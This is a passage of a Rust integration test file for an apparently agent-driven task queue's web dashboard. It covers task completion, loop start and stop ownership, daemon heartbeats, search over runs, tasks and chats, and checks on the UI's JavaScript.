16847 let queue = f.queue();
16848 let mut task = Task::new(
16849 "shipped by hand".to_owned(),
16850 "merged outside the loop".to_owned(),
16851 PathBuf::from("/repo/magi"),
16852 Source::Agent {
16853 run: "20260101-000000-b455".to_owned(),
16854 node: "implement".to_owned(),
16855 },
16856 );
16857 task.runs.push("20260101-000000-b455".to_owned());
16858 task.runs.push("20260101-000000-9af4".to_owned());
16859 queue.put(&mut task).expect("file the task");
16860 let created_at = task.created_at;
16861
16862 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16863 assert_eq!(done.status, 200, "{}", done.body);
16864 assert_eq!(done.json()["status_str"], "done");
16865
16866 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16867 assert_eq!(
16868 reloaded.runs,
16869 ["20260101-000000-b455", "20260101-000000-9af4"]
16870 );
16871 assert_eq!(
16872 reloaded.source,
16873 Source::Agent {
16874 run: "20260101-000000-b455".to_owned(),
16875 node: "implement".to_owned(),
16876 }
16877 );
16878 assert_eq!(reloaded.created_at, created_at);
16879 }
16880
16881 #[tokio::test]
16882 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16883 let f = Fixture::start().await;
16888 let queue = f.queue();
16889 let mut task = Task::new(
16890 "landed while held".to_owned(),
16891 "x".to_owned(),
16892 PathBuf::from("/repo/magi"),
16893 Source::Human,
16894 );
16895 task.hold_manual(Some("waiting on 3ed9".to_owned()));
16896 queue.put(&mut task).expect("file the held task");
16897
16898 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16899 assert_eq!(done.status, 200, "{}", done.body);
16900 assert_eq!(done.json()["status_str"], "done");
16901 assert!(
16902 done.json()["hold_reason"].is_null(),
16903 "a done task cannot still be waiting on something: {}",
16904 done.body
16905 );
16906 }
16907
16908 #[tokio::test]
16909 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16910 let f = Fixture::start().await;
16915 let queue = f.queue();
16916 let runs = f.runs();
16917 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16918 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16922
16923 let mut task = Task::new(
16924 "landed by hand".to_owned(),
16925 "x".to_owned(),
16926 PathBuf::from("/repo/magi"),
16927 Source::Human,
16928 );
16929 task.runs.push("20260101-000000-doa1".to_owned());
16930 task.runs.push("20260101-000000-doa2".to_owned());
16931 queue.put(&mut task).expect("file the task");
16932
16933 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16934 assert_eq!(done.status, 200, "{}", done.body);
16935
16936 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16937 .expect("run still on disk under this fixture's own home");
16938 assert_eq!(
16939 reloaded_run.status,
16940 RunStatus::Superseded,
16941 "closing the task by hand must relabel the earlier blocked attempt exactly \
16942 like the loop's own settle path does"
16943 );
16944 }
16945
16946 #[tokio::test]
16947 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16948 let f = Fixture::start().await;
16953 let queue = f.queue();
16954 let runs = f.runs();
16955 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16956 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16957
16958 let mut task = Task::new(
16959 "closed with nothing actually landed".to_owned(),
16960 "x".to_owned(),
16961 PathBuf::from("/repo/magi"),
16962 Source::Human,
16963 );
16964 task.runs.push("20260101-000000-dob1".to_owned());
16965 task.runs.push("20260101-000000-dob2".to_owned());
16966 queue.put(&mut task).expect("file the task");
16967
16968 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16969 assert_eq!(done.status, 200, "{}", done.body);
16970
16971 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16972 .expect("run still on disk under this fixture's own home");
16973 assert_eq!(
16974 reloaded_run.status,
16975 RunStatus::Blocked,
16976 "the last recorded attempt never landed, so the earlier one must not be \
16977 relabelled as superseded by it"
16978 );
16979 }
16980
16981 #[tokio::test]
16982 async fn unknown_ids_are_json_not_found_on_both_stores() {
16983 let f = Fixture::start().await;
16984
16985 let run = f.get("/api/runs/nosuchrun").await;
16986 let task = f.post("/api/queue/nosuchtask/hold", None).await;
16987
16988 assert_eq!(run.status, 404);
16989 assert_eq!(task.status, 404);
16990 assert!(
16991 run.json()["error"]
16992 .as_str()
16993 .is_some_and(|e| e.contains("run")),
16994 "the error names what was not found: {}",
16995 run.body
16996 );
16997 assert!(
16998 task.json()["error"]
16999 .as_str()
17000 .is_some_and(|e| e.contains("task")),
17001 "the error names what was not found: {}",
17002 task.body
17003 );
17004 }
17005
17006 #[tokio::test]
17007 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17008 let f = Fixture::start().await;
17009
17010 let missing = f.get("/api/health").await.json();
17011 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17012
17013 write_daemon(
17014 f.home.path(),
17015 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17016 );
17017 let stale = f.get("/api/health").await.json();
17018 assert_eq!(
17019 stale["daemon"]["running"], false,
17020 "a minute without a heartbeat is a dead daemon, not a busy one"
17021 );
17022 assert!(
17023 stale["daemon"]["stale_for_secs"]
17024 .as_i64()
17025 .is_some_and(|s| s >= 55),
17026 "staleness is reported so the UI can say how long: {stale}"
17027 );
17028
17029 write_daemon(f.home.path(), Timestamp::now());
17030 let fresh = f.get("/api/health").await.json();
17031 assert_eq!(fresh["daemon"]["running"], true);
17032 assert_eq!(fresh["daemon"]["idle"], false);
17033 assert_eq!(fresh["daemon"]["pid"], 4242);
17034 assert_eq!(fresh["daemon"]["completed"], 7);
17035 assert_eq!(
17036 fresh["daemon"]["current"][0]["task"],
17037 "20260902-140501-aaaa"
17038 );
17039 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17040 }
17041
17042 #[tokio::test]
17043 async fn the_loop_is_not_running_until_something_starts_it() {
17044 let f = Fixture::start().await;
17045
17046 let view = f.get("/api/loop").await.json();
17047 assert_eq!(view["running"], false);
17048 assert_eq!(
17049 view["owned"], false,
17050 "nobody owns a loop that does not exist: {view}"
17051 );
17052 assert_eq!(view["stopping"], false);
17053 assert_eq!(view["last_error"], Value::Null);
17054 assert_eq!(view["daemon"]["running"], false);
17055 assert_eq!(
17056 view["repo"], "/repo/magi",
17057 "the repository a start would use, named before it is started"
17058 );
17059 }
17060
17061 #[tokio::test]
17062 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17063 let f = Fixture::start().await;
17064
17065 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17066 assert_eq!(res.status, 200, "{}", res.body);
17067 let view = res.json();
17068 assert_eq!(view["running"], true);
17069 assert_eq!(
17070 view["owned"], true,
17071 "the loop the UI started is the UI's own to stop: {view}"
17072 );
17073 assert_eq!(
17074 view["merge"],
17075 Value::Null,
17076 "no override was given, so each repository's own config decides"
17077 );
17078
17079 let health = f.get("/api/health").await.json();
17083 assert_eq!(health["loop"]["running"], true, "{health}");
17084 assert_eq!(health["loop"]["owned"], true, "{health}");
17085
17086 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17087 }
17088
17089 #[tokio::test]
17090 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17091 let f = Fixture::start().await;
17092 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17093 assert_eq!(first.status, 200, "{}", first.body);
17094
17095 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17096 assert_eq!(
17097 again.status, 409,
17098 "two loops on one queue race for the same claims: {}",
17099 again.body
17100 );
17101 assert!(
17102 again.json()["error"]
17103 .as_str()
17104 .is_some_and(|e| e.contains("already running the loop")),
17105 "the refusal has to say why: {}",
17106 again.body
17107 );
17108 assert_eq!(
17109 f.get("/api/loop").await.json()["running"],
17110 true,
17111 "and the loop that was already running is untouched by it"
17112 );
17113
17114 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17115 }
17116
17117 #[tokio::test]
17118 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17119 let f = Fixture::start().await;
17120 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17121
17122 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17123 assert_eq!(
17124 res.status, 200,
17125 "the answer must not wait for the loop: a run in flight is tens of \
17126 minutes and the operator is holding a phone: {}",
17127 res.body
17128 );
17129
17130 let view = settled(&f, |v| v["running"] == false).await;
17131 assert_eq!(view["owned"], false);
17132 assert_eq!(
17133 view["stopping"], false,
17134 "a loop that has stopped is not still stopping: {view}"
17135 );
17136 assert_eq!(
17137 view["last_error"],
17138 Value::Null,
17139 "a loop that was asked to stop did not fail: {view}"
17140 );
17141
17142 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17145 assert_eq!(twice.status, 200, "{}", twice.body);
17146 }
17147
17148 #[tokio::test]
17149 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17150 let f = Fixture::start().await;
17151 write_daemon(f.home.path(), Timestamp::now());
17154
17155 let view = f.get("/api/loop").await.json();
17156 assert_eq!(view["running"], false, "not in this process: {view}");
17157 assert_eq!(view["owned"], false, "and not this process's to control");
17158 assert_eq!(
17159 view["daemon"]["running"], true,
17160 "but a loop is alive somewhere, which is what the UI must say"
17161 );
17162 assert_eq!(view["daemon"]["pid"], 4242);
17163
17164 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17165 let res = f.post("/api/loop", Some(body)).await;
17166 assert_eq!(
17167 res.status, 409,
17168 "neither button may pretend to work on someone else's loop: {}",
17169 res.body
17170 );
17171 assert!(
17172 res.json()["error"]
17173 .as_str()
17174 .is_some_and(|e| e.contains("4242")),
17175 "the refusal has to name the process the operator must go to: {}",
17176 res.body
17177 );
17178 }
17179 assert_eq!(
17180 f.get("/api/loop").await.json()["running"],
17181 false,
17182 "and the refusal started nothing"
17183 );
17184 }
17185
17186 #[tokio::test]
17187 async fn a_stale_status_file_is_not_a_foreign_owner() {
17188 let f = Fixture::start().await;
17189 write_daemon(
17190 f.home.path(),
17191 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17192 );
17193
17194 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17195 assert_eq!(
17196 res.status, 200,
17197 "a daemon killed a minute ago must not lock the loop out of its \
17198 own home for good: {}",
17199 res.body
17200 );
17201 assert_eq!(res.json()["running"], true);
17202
17203 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17204 }
17205
17206 #[tokio::test]
17207 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17208 let f = Fixture::start().await;
17209 let before = f.get("/api/health").await.json()["loop_rev"]
17210 .as_u64()
17211 .expect("a loop revision");
17212
17213 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17214
17215 let after = f.get("/api/health").await.json()["loop_rev"]
17216 .as_u64()
17217 .expect("a loop revision");
17218 assert!(
17219 after > before,
17220 "the loop is in-process state, so this counter is the only thing \
17221 that tells a second device the first one started it: {before} -> \
17222 {after}"
17223 );
17224
17225 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17226 }
17227
17228 #[tokio::test]
17229 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17230 let f = Fixture::with_loop(launch_broken).await;
17231
17232 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17233 assert_eq!(
17234 res.status, 200,
17235 "starting it is not the failure: {}",
17236 res.body
17237 );
17238
17239 let view = settled(&f, |v| v["last_error"].is_string()).await;
17240 assert_eq!(
17241 view["running"], false,
17242 "a loop that died must not read as running, or the operator has \
17243 nothing to press: {view}"
17244 );
17245 assert_eq!(view["owned"], false);
17246 assert!(
17247 view["last_error"]
17248 .as_str()
17249 .is_some_and(|e| e.contains("read-only file system")),
17250 "the phone is where a loop that died at 3am is visible: {view}"
17251 );
17252
17253 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17256 assert_eq!(again.status, 200, "{}", again.body);
17257 assert!(
17258 again.json()["last_error"]
17259 .as_str()
17260 .is_none_or(|e| !e.contains("read-only file system")),
17261 "a fresh start does not keep showing why the last one died: {}",
17262 again.body
17263 );
17264 }
17265
17266 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
17278 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
17279 let home = TempDir::new().expect("temp home");
17280 let runs = home.path().join("runs");
17281 std::fs::create_dir_all(&runs).expect("runs dir");
17282 let ui = Ui::new(
17283 Queue::at(home.path().join("queue")),
17284 Questions::at(home.path().join("questions")),
17285 Talks::at(home.path().join("talks")),
17286 runs,
17287 home.path().to_path_buf(),
17288 PathBuf::from("/repo/magi"),
17289 )
17290 .with_worktrees_root(home.path().join("wt"))
17291 .with_launch(launch_knocking_on_the_way_out);
17292 let looping = ui.looping();
17293 let turns = ui.turns();
17294 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17295 .await
17296 .expect("bind loopback");
17297 let addr = listener.local_addr().expect("local addr");
17298 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
17299 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17300
17301 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
17302 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
17303
17304 let bound = std::sync::Mutex::new(None);
17319 hand_over(
17320 home.path(),
17321 &looping,
17322 &turns,
17323 &|_: &[String]| Duration::from_secs(5),
17324 served,
17325 |_| {
17326 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
17327 let attempt = loop {
17328 match std::net::TcpListener::bind(addr) {
17329 Ok(l) => {
17330 drop(l);
17331 break Ok(());
17332 }
17333 Err(e)
17334 if e.kind() == std::io::ErrorKind::AddrInUse
17335 && std::time::Instant::now() < deadline =>
17336 {
17337 std::thread::sleep(std::time::Duration::from_millis(10));
17338 }
17339 Err(e) => break Err(e.to_string()),
17340 }
17341 };
17342 *bound.lock().expect("bound") = Some(attempt);
17343 Ok(1)
17344 },
17345 )
17346 .await
17347 .expect("hand over");
17348
17349 assert_eq!(
17350 *PARK_HEARD.lock().expect("park heard"),
17351 Some(200),
17352 "the deck must answer while the loop is parking"
17353 );
17354 let attempt = bound
17355 .lock()
17356 .expect("bound")
17357 .take()
17358 .expect("the successor was started");
17359 assert!(
17360 attempt.is_ok(),
17361 "and the address must be free by the time it is: {attempt:?}"
17362 );
17363 }
17364
17365 #[tokio::test]
17366 async fn a_newer_daemon_status_file_still_renders() {
17367 let f = Fixture::start().await;
17368 std::fs::write(
17371 f.home.path().join("daemon.json"),
17372 serde_json::json!({
17373 "schema": 2,
17374 "updated_at": Timestamp::now().to_string(),
17375 "idle": true,
17376 "surprise": { "nested": [1, 2, 3] },
17377 })
17378 .to_string(),
17379 )
17380 .expect("write daemon.json");
17381
17382 let health = f.get("/api/health").await;
17383
17384 assert_eq!(health.status, 200);
17385 assert_eq!(health.json()["daemon"]["running"], true);
17386 }
17387
17388 #[tokio::test]
17389 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17390 let f = Fixture::start().await;
17391 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17392 let broken = f.runs().join("20260902-140502-bad");
17393 std::fs::create_dir_all(&broken).expect("run dir");
17394 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17395
17396 let list = f.get("/api/runs").await;
17397 let detail = f.get("/api/runs/20260902-140502-bad").await;
17398
17399 assert_eq!(list.status, 200);
17400 let listed = list.json();
17401 let ids: Vec<&str> = listed
17402 .as_array()
17403 .expect("an array")
17404 .iter()
17405 .map(|r| r["id"].as_str().expect("an id"))
17406 .collect();
17407 assert_eq!(
17408 ids,
17409 vec!["20260902-140501-good"],
17410 "one unreadable run must not cost the operator the whole history"
17411 );
17412 assert_eq!(detail.status, 500);
17413 assert!(
17414 detail.json()["error"]
17415 .as_str()
17416 .is_some_and(|e| e.contains("run.json")),
17417 "the failure names the file to look at: {}",
17418 detail.body
17419 );
17420 let health = f.get("/api/health").await;
17424 assert_eq!(health.json()["runs_unreadable"], 1);
17425 }
17426
17427 #[tokio::test]
17429 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17430 let f = Fixture::start().await;
17431 let runs = f.runs();
17432 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17433 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17434 let path = runs.join("20260902-140502-bbbb").join("run.json");
17437 let mut v: serde_json::Value =
17438 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17439 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17440 std::fs::write(&path, v.to_string()).unwrap();
17441 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17442 std::fs::write(
17443 runs.join("20260902-140503-cccc").join("run.json"),
17444 "{ not json",
17445 )
17446 .unwrap();
17447
17448 let res = f.get("/api/search?scope=runs&q=quokka").await;
17449 assert_eq!(res.status, 200, "{}", res.body);
17450 let v = res.json();
17451 assert_eq!(v["total"], 1, "{v}");
17452 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17453 assert_eq!(v["hits"][0]["field"], "text");
17454 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17455 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17456 assert!(
17457 parts
17458 .iter()
17459 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17460 "{v}"
17461 );
17462 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17463 assert_eq!(
17464 flat, "The Quokka leaks across threads",
17465 "whitespace is collapsed"
17466 );
17467
17468 let both = f
17470 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17471 .await
17472 .json();
17473 assert_eq!(both["total"], 1, "{both}");
17474 let neither = f
17475 .get("/api/search?scope=runs&q=quokka%20zebra")
17476 .await
17477 .json();
17478 assert_eq!(neither["total"], 0, "{neither}");
17479 let stmt = f
17481 .get("/api/search?scope=runs&q=mobile%20first")
17482 .await
17483 .json();
17484 assert_eq!(stmt["total"], 2, "{stmt}");
17485 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17486 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17487 }
17488
17489 #[test]
17490 fn snippet_ignores_terms_longer_than_the_field() {
17491 let terms = ["ok".to_owned(), "elephant".to_owned()];
17492 let parts = snippet_of("ok", &terms);
17493 assert_eq!(
17494 parts,
17495 vec![SnippetPart {
17496 text: "ok".to_owned(),
17497 hit: true
17498 }]
17499 );
17500 }
17501
17502 #[test]
17503 fn snippet_marks_matches_longer_than_the_window() {
17504 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17505 let hit_len = |parts: &[SnippetPart]| -> usize {
17506 parts
17507 .iter()
17508 .filter(|p| p.hit)
17509 .map(|p| p.text.chars().count())
17510 .sum()
17511 };
17512 let total =
17513 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17514
17515 let long = "a".repeat(120);
17516 let parts = snippet_of(&long, std::slice::from_ref(&long));
17517 assert!(hit_len(&parts) > 0, "{parts:?}");
17518 assert!(total(&parts) <= cap);
17519
17520 let ja = "あ".repeat(130);
17521 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17522 assert!(hit_len(&parts) > 0, "{parts:?}");
17523 assert!(total(&parts) <= cap);
17524
17525 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17527 let term = format!("ab{}", "c".repeat(100));
17528 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17529 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17530 assert!(total(&parts) <= cap);
17531
17532 let text = format!("{}z", "a".repeat(119));
17534 let parts = snippet_of(&text, &["a".repeat(120)]);
17535 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17536 }
17537
17538 #[tokio::test]
17539 async fn search_caps_hits_and_snippet_length() {
17540 let f = Fixture::start().await;
17541 let runs = f.runs();
17542 for n in 0..(SEARCH_MAX_HITS + 5) {
17543 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17544 }
17545 let v = f.get("/api/search?scope=runs&q=web").await.json();
17546 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17547 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17548 assert_eq!(v["truncated"], true);
17549 assert!(
17551 v["hits"]
17552 .as_array()
17553 .unwrap()
17554 .iter()
17555 .all(|h| h["run"]["status"] == "merged")
17556 );
17557
17558 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17559 let parts = snippet_of(&long, &["needle".to_owned()]);
17560 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17561 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17562 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17563 }
17564
17565 #[tokio::test]
17566 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17567 let f = Fixture::start().await;
17568 let queue = f.queue();
17569 let mut t = Task::new(
17570 "short title".to_owned(),
17571 "line one\nthe hidden Armadillo detail".to_owned(),
17572 PathBuf::from("/repo/magi"),
17573 Source::Agent {
17574 run: "r1".to_owned(),
17575 node: "chat".to_owned(),
17576 },
17577 );
17578 t.last_error = Some("disk full on /tmp".to_owned());
17579 queue.put(&mut t).expect("file the task");
17580
17581 for (q, want) in [
17582 ("armadillo", 1),
17583 ("disk%20FULL", 1),
17584 ("chat", 1),
17585 ("queued", 1),
17586 ("short%20nothing", 0),
17587 ] {
17588 let v = f
17589 .get(&format!("/api/search?scope=tasks&q={q}"))
17590 .await
17591 .json();
17592 assert_eq!(v["total"], want, "{q}: {v}");
17593 }
17594 for bad in [
17595 "/api/search?scope=tasks&q=",
17596 "/api/search?scope=tasks&q=%20",
17597 "/api/search?scope=chats&q=",
17598 "/api/search?scope=chats&q=%20",
17599 "/api/search?scope=nope&q=a",
17600 "/api/search?q=a",
17601 ] {
17602 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17603 }
17604 }
17605
17606 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17608 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17609 .expect("seat value");
17610 let turns: Vec<serde_json::Value> = turns
17611 .iter()
17612 .map(|(who, body)| {
17613 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17614 })
17615 .collect();
17616 let doc = serde_json::json!({
17617 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17618 "status": status, "turns": turns,
17619 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17620 "seat": seat,
17621 });
17622 let dir = f.home.path().join("talks");
17623 std::fs::create_dir_all(&dir).expect("talks dir");
17624 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17625 }
17626
17627 #[tokio::test]
17628 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17629 let f = Fixture::start().await;
17630 write_talk(
17631 &f,
17632 "20260901-000001-aaaa",
17633 "open",
17634 &[
17635 (
17636 "operator",
17637 "\n Why does the Pangolin cache expire?\nsecond line",
17638 ),
17639 ("agent", "Because the TTL is thirty seconds."),
17640 ],
17641 );
17642 write_talk(
17643 &f,
17644 "20260901-000002-bbbb",
17645 "closed",
17646 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17647 );
17648 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17649
17650 let search = |q: &'static str| {
17651 let f = &f;
17652 async move {
17653 f.get(&format!("/api/search?scope=chats&q={q}"))
17654 .await
17655 .json()
17656 }
17657 };
17658
17659 let v = search("PANGOLIN").await;
17660 assert_eq!(v["scope"], "chats");
17661 assert_eq!(v["total"], 1, "{v}");
17662 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17663 assert_eq!(v["hits"][0]["field"], "title");
17664 assert_eq!(v["unreadable"], 1, "{v}");
17665 let marked: Vec<&str> = v["hits"][0]["snippet"]
17666 .as_array()
17667 .unwrap()
17668 .iter()
17669 .filter(|p| p["hit"] == true)
17670 .map(|p| p["text"].as_str().unwrap())
17671 .collect();
17672 assert_eq!(marked, ["Pangolin"]);
17673
17674 let v = search("zebra").await;
17676 assert_eq!(v["total"], 1, "{v}");
17677 assert_eq!(v["hits"][0]["field"], "agent");
17678 assert_eq!(search("pangolin%20thirty").await["total"], 1);
17680 assert_eq!(search("pangolin%20zebra").await["total"], 0);
17681 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17683 assert_eq!(search(q).await["total"], 0, "{q}");
17684 }
17685 assert_eq!(search("second").await["hits"][0]["field"], "operator");
17687 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17689
17690 let v = f.get("/api/search?scope=nope&q=a").await;
17691 assert_eq!(v.status, 400);
17692 assert!(
17693 v.body.contains("scope must be runs, tasks or chats"),
17694 "{}",
17695 v.body
17696 );
17697 }
17698
17699 #[test]
17700 fn a_question_card_links_a_task_id_to_the_task_page() {
17701 let start = APP_JS
17702 .find("function updateAskCard(")
17703 .expect("updateAskCard exists");
17704 let body = &APP_JS[start..];
17705 let body = &body[..body.find("\n}\n").expect("function end")];
17706 assert!(body.contains("question.run_is_task"));
17707 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17708 assert!(body.contains("`#/runs/${question.run}`"));
17709 assert!(body.contains("\"task\" : \"run\""));
17710 }
17711
17712 #[test]
17713 fn plain_text_message_surfaces_go_through_linkify() {
17714 assert!(APP_JS.contains("function linkify("));
17715 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17716 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17717 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17718 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17719 assert!(!APP_JS.contains("innerHTML = text"));
17720 }
17721
17722 #[test]
17723 fn implementation_rate_views_keep_independent_samples() {
17724 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17725 let a = stats::AgentStats {
17726 competitive_entered: competitive_n,
17727 competitive_wins: usize::from(competitive_n > 0),
17728 solo_entered: solo_n,
17729 solo_adopted: 2 * usize::from(solo_n > 0),
17730 ..Default::default()
17731 };
17732 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17733 for (key, n, numerator) in [
17734 ("competitive_win_rate", competitive_n, a.competitive_wins),
17735 ("solo_adoption_rate", solo_n, a.solo_adopted),
17736 ] {
17737 if n == 0 {
17738 assert!(v[key].is_null());
17739 } else {
17740 assert_eq!(v[key]["denominator"], n);
17741 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17742 }
17743 }
17744 }
17745 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17746 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17747 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17748 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17749 }
17750
17751 #[test]
17752 fn stats_bars_share_one_id_keyed_plan() {
17753 let start = APP_JS
17754 .find("function statsBarRows(")
17755 .expect("statsBarRows exists");
17756 let body = &APP_JS[start..];
17757 let body = &body[..body.find("\n}\n").expect("function end")];
17758 assert!(body.contains("statsBarPlan(rows)"));
17759 assert!(body.contains("statsAgentTone(row.agent)"));
17760 assert!(!body.contains("candTone(i)"));
17761 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17762 for root in [
17763 "stats-agents-bars",
17764 "stats-solo-bars",
17765 "stats-reviewers-bars",
17766 ] {
17767 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17768 }
17769 }
17770
17771 #[test]
17772 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17773 let start = APP_JS
17774 .find("function renderStatsReviewerScatter(")
17775 .expect("renderStatsReviewerScatter exists");
17776 let body = &APP_JS[start..];
17777 let body = &body[..body.find("\n}\n").expect("function end")];
17778 assert!(body.contains("statsScatterPlan(reviewers)"));
17779 assert!(body.contains("statsAgentTone(d.agent)"));
17780 assert!(APP_JS.contains("function statsScatterPlan("));
17781 assert!(
17782 APP_JS.contains("d.submitted < STATS_LOW_N")
17783 || APP_JS.contains("r.submitted < STATS_LOW_N")
17784 );
17785 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17786 assert!(APP_CSS.contains(".precision-scatter"));
17787 }
17788
17789 #[test]
17790 fn advisor_reflection_is_drawn_as_stacked_segments() {
17791 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
17792 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
17793 let html = include_str!("../assets/ui/index.html");
17794 assert!(html.contains("Approximate"));
17795 for label in ["reflected strongly", "faint", "no proposal"] {
17796 assert!(html.contains(label));
17797 }
17798 let css = include_str!("../assets/ui/app.css");
17799 for c in ["refl-strong", "refl-faint", "refl-absent"] {
17800 assert!(css.contains(&format!(".{c} {{")));
17801 }
17802 }
17803
17804 #[test]
17805 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17806 assert!(APP_JS.contains("function statsDailyPlan("));
17807 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
17808 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17809 }
17810
17811 #[test]
17812 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17813 let start = APP_JS
17814 .find("function scheduleSearch(")
17815 .expect("scheduleSearch exists");
